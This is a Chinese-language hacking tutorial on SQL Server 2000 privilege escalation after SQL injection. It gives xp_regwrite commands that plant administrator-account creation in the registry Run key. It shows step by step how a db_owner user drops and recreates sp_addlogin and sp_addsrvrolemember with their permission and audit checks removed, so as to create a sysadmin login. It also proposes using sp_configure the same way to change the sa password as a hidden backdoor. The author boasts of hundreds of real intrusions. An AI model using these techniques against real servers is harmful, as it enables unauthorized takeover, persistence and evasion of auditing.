本文仅用于教学目的,如果因为本文造成的攻击后果本人概不负责。因为发觉其危害过大,原文已经经过大量删减及修改,即使这样本文的危害性仍然很大,所以请大家不要对国内的站点做任何具有破坏性的操作。考虑再三,偶还是决定发出来。此招手段歹毒,利用范围广泛,可以说是只要是有sql注射漏洞的网站,只要运用此法99%可以拿到webshell甚至系统权限(不敢把话说满,呵呵,经本人数百次真实“实战演习”,基本上是100%可以拿到webshell甚至系统权限)。
记得我在《MSSQL db_owner角色注入直接获得系统权限(续)》中写过一种利用xp_regwrite来取得系统权限的方法:xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\\Windows\currentvers ion\run','xwq1','REG_SZ','net user xwq xwq /add'
xp_regwrite HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentvers ion\run','xwq2','REG_SZ','net localgroup administrators xwq /add',只要让网站所在的重起,就能得到系统权限。经过本人的数百次的真实实验,这种方法不太实用,很容易引起网管的注意,再说ddos也是违法的事(偶可是好人啊),发动一场ddos要花费的大量的人力,物力(看你的肉鸡多少拉)。所以不太可行(除非是你十分想要搞定的网站)。
呵呵,哆嗦拉那么多,你可能看的已经不耐烦拉,好,这就介绍我的三大必杀技之一————万能提权。
假如一个网站存在sql注射漏洞,如果这个网站是用固定服务器sysadmin权限的用户作的连接(呵呵,通俗点说就是sa,菜鸟可以这样认为),呵呵,想要拿到一个webshell或者是系统权限可以说是易如反掌,轻而易举的事,据我所知,sysadmin权限要拿到webshell或者系统权限不下10种,呵呵,可能更多吧(偶只会10种),sysadmin怎么拿到webshell或者系统权限,我不想多说,想比大家都已经烂熟于心拉,可是要是一个网站是db_owner权限呢?你怎么办,你怎么拿系统权限,怎么拿webshell(没有上传漏洞和备份等功能),大家可能回说backup a shell,我记得LCX也在《MSSQL db_owner角色注入直接获得系统权限》里说过拉“备份得到的shell只是理论化的东东,如果一个webshell有20mb的话,你还能用它吗?”呵呵,要是我告诉你db_owner拿到一个webshell或者是系统权限的方法和sysadmin权限的一样多,你回有什么反映,是不是觉得有点不可思议,或者又是我胡说呢?(不相信的朋友,下面的内容就不要看拉)
呵呵,是不是看的心痒痒拉,迫不及待的想知道啊,好,我不在废话拉,这就把我的三大必杀技之一————万能提升权限方法告诉大家。
在告诉大家之前,我们先做个实验.实验环境windowsxp sp1+SQL 2000 sp3,大家跟着我来step to step,首先新建一个具有db_owner的权限的用户,这里我是xwq(就是在服务器角色里面什么都不要选,在数据库角色里面钩上db_owner),好,现在我们打开查询分析器用xwq连上后再里面输入sp_addlogin xuwenqiang,执行看看,出现拉什么?
服务器: 消息 2571,级别 14,状态 2,过程 sp_addlogin,行 16
用户 'xwq' 没有运行 DBCC auditevent 的权限。
服务器: 消息 15247,级别 16,状态 1,过程 sp_addlogin,行 17
用户没有执行此操作的权限。
呵呵,出现上面的错误信息这很正常,因为只有sysadmin 和 securityadmin 固定服务器角色的成员才可以执行 sp_addlogin,那么怎么才好让sp_addlogin为我所用呢?我们在这里看一下sp_addlogin的代码:
create procedure sp_addlogin
@loginame sysname
,@passwd sysname = Null
,@defdb ; ; sysname = 'master' -- UNDONE: DEFAULT
CONFIGURABLE???
,@deflanguage sysname = Null
,@sid varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret int -- return value of sp call
-- CHECK PERMISSIONS --
IF (not is_srvrolemember('securityadmin') = 1)
begin
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
raiserror(15247,-1,-1)
return (1)
end
ELSE
begin
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end
-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,'sp_addlogin')
return (1)
end
-- VALIDATE LOGIN NAME AS:
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
return (1)
if (charindex('\', @loginame) > 0)
begin
raiserror(15006,-1,-1,@loginame)
return (1)
end
--Note: different case sa is allowed.
if (@loginame = 'sa' or lower(@loginame) in ('public'))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end
-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default
language
if @deflanguage is null
select @deflanguage = N'us_english'
end
-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end
-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = 'skip_encryption_old'
begin
select @xstatus = @xstatus | 0x800, -- old-style
encryption
@passwd = convert(sysname, convert(varbinary
(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> 'skip_encryption'
begin
raiserror(15600,-1,-1,'sp_addlogin')
return 1
end
-- ATTEMPT THE INSERT OF THE NEW LOGIN --
INSERT INTO master.dbo.sysxlogins VALUES
(NULL, @sid, @xstatus, getdate(),
getdate(), @loginame, convert(varbinary(256), @passwd),
db_id(@defdb), @deflanguage)
if @@error <> 0 -- this indicates we saw duplicate row
return (1)
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE --
exec('use master grant all to null')
-- FINALIZATION: RETURN SUCCESS/FAILURE --
raiserror(15298,-1,-1)
return (0) -- sp_addlogin
GO
之所以只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行 sp_addlogin,主要是这里一段再搞鬼
-- CHECK PERMISSIONS --
IF (not is_srvrolemember('securityadmin') = 1)
begin
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
raiserror(15247,-1,-1)
return (1)
end
ELSE
begin
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end
只要我们把这段代码删拉,任何权限的用户都可以增加用户拉。
好,我们先把sp_addlogin删拉
drop procedure sp_addlogin
然后再来恢复sp_addlogin
create procedure sp_addlogin
@loginame sysname
,@passwd sysname = Null
,@defdb ; ; sysname = 'master' -- UNDONE: DEFAULT
CONFIGURABLE???
,@deflanguage sysname = Null
,@sid varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret int -- return value of sp call
-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,'sp_addlogin')
return (1)
end
-- VALIDATE LOGIN NAME AS:
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
return (1)
if (charindex('\', @loginame) > 0)
begin
raiserror(15006,-1,-1,@loginame)
return (1)
end
--Note: different case sa is allowed.
if (@loginame = 'sa' or lower(@loginame) in ('public'))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end
-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default
language
if @deflanguage is null
select @deflanguage = N'us_english'
end
-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end
-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = 'skip_encryption_old'
begin
select @xstatus = @xstatus | 0x800, -- old-style
encryption
@passwd = convert(sysname, convert(varbinary
(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> 'skip_encryption'
begin
raiserror(15600,-1,-1,'sp_addlogin')
return 1
end
-- ATTEMPT THE INSERT OF THE NEW LOGIN --
INSERT INTO master.dbo.sysxlogins VALUES
(NULL, @sid, @xstatus, getdate(),
getdate(), @loginame, convert(varbinary(256), @passwd),
db_id(@defdb), @deflanguage)
if @@error <> 0 -- this indicates we saw duplicate row
return (1)
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE --
exec('use master grant all to null')
-- FINALIZATION: RETURN SUCCESS/FAILURE --
raiserror(15298,-1,-1)
return (0) -- sp_addlogin
GO
这样我这个只具有db_owner权限的xwq就可以任意增加用户拉,ok,在查询分析器里面在输入sp_addlogin xuwenqiang,执行看看,GOOD!返回已创建新登录。我新建拉一个用户xuwenqiang,当然这个用户我可不是白建的,我要把他变成具有最高权限的用户,在sql中具有最高权限的当然是sysadmin拉,而把一个用户变成sysadmin只有sp_addsrvrolemember这个过程拉,可是只有sysadmin权限的用户才好使用,不爽,偶要让他为我所用,呵呵,聪明的读者一定想到拉我怎么让只具有db_owner权限的我,怎么使用sp_addsrvrolemember拉,没错,和让sp_addlogin为我所用的方法一样,只要去掉sp_addsrvrolemember中权限限制的一段,我们就可以任意增加sysadmin拉,我们先看看sp_addsrvrolemember的代码
:create procedure sp_addsrvrolemember
@loginame sysname, -- login name
@rolename sysname = NULL -- server role name
as
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
declare @ret int, -- return value of sp call
@rolebit smallint,
@ismem int
-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,'sp_addsrvrolemember')
return (1)
end
-- VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS --
select @ismem = is_srvrolemember(@rolename)
if @ismem is null
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
NULL)
raiserror(15402, -1, -1, @rolename)
return (1)
end
if @ismem = 0
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
NULL)
raiserror(15247,-1,-1)
return (1)
end
-- AUDIT A SUCCESSFUL SECURITY CHECK --
dbcc auditevent (108, 1, 1, @loginame, NULL, @rolename, NULL)
-- CANNOT CHANGE SA ROLES --
if @loginame = 'sa'
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
-- OBTAIN THE BIT FOR THIS ROLE --
select @rolebit = CASE @rolename
WHEN 'sysadmin' THEN 16
WHEN 'securityadmin' THEN 32
WHEN 'serveradmin' THEN 64
WHEN 'setupadmin' THEN 128
WHEN 'processadmin' THEN 256
WHEN 'diskadmin' THEN 512
WHEN 'dbcreator' THEN 1024
WHEN 'bulkadmin' THEN 4096
ELSE NULL END
-- ADD ROW FOR NT LOGIN IF NEEDED --
if not exists(select * from master.dbo.syslogins where
loginname = @loginame)
begin
execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame
if (@ret <> 0)
begin
raiserror(15007,-1,-1,@loginame)
return (1)
end
end
-- UPDATE ROLE MEMBERSHIP --
update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,
xdate2 = getdate()
where name = @loginame and srvid IS NULL
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE --
exec('use master grant all to null')
raiserror(15488,-1,-1,@loginame,@rolename)
-- FINALIZATION: RETURN SUCCESS/FAILURE
return (@@error) -- sp_addsrvrolemember
GO
把这一段删除 -- VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS --
select @ismem = is_srvrolemember(@rolename)
if @ismem is null
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
NULL)
raiserror(15402, -1, -1, @rolename)
return (1)
end
if @ismem = 0
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
NULL)
raiserror(15247,-1,-1)
return (1)
end
这样我们就可以任意增加sysadmin拉,呵呵,爽啊。在查询分析器里输入sp_addsrvrolemember xuwenqiang,sysadmin,Yeah!!!!!!!成功拉。到这里我们就成功利用拉一个只具有db_owner权限的用户新建拉一个在SQL中具有至高无上权限,也就是具有sysadmin权限的用户xuwenqiang,有拉sysadmin权限想要webshell或者系统权限还不容易么!不要只把眼睛只放在我所说的sp_addlogin和sp_addsrvrolemember这两个存储过程上,凡是只有sysadmin才好使用的存储过程,利用我的万能提权必杀技,我们都可以使用。比如:sp-configure,sp_addlinkedserver,sp_addlinkedsrvlogin,sp_makewebtask等等很多只好sysadmin权限能利用的,我们都可以让他们为我所用。
下面再举一个万能提权的例子,和我一起打造一个永远不会被杀及完美的后门我们都知道在sql中有个被称为后门的用户,那就是sa,sa 是内置的管理员登录,而且不能进行更改和删除。呵呵,这是M$说的,要是你看过我写的另外一篇文章《完全删除sa这个后门》就知道,其实sa也是好删除的。我们知道在sql可以改密码的存储过程有sp_password,可是我们必须知道要改的用户的旧密码,才可以更改,那么有没有办法再不知道旧密码的情况下更改sa的密码呢?有,其实也就是利用sp_configure,sp_configure的功能是显示或更改当前服务器的全局配置设置。sp_configure(用于更改配置选项)的执行许可权限默认授予 sysadmin和 serveradmin 固定服务器角色。这很容易只要把sp_configure中检查权限的一段删除,再重建,我们就好用拉。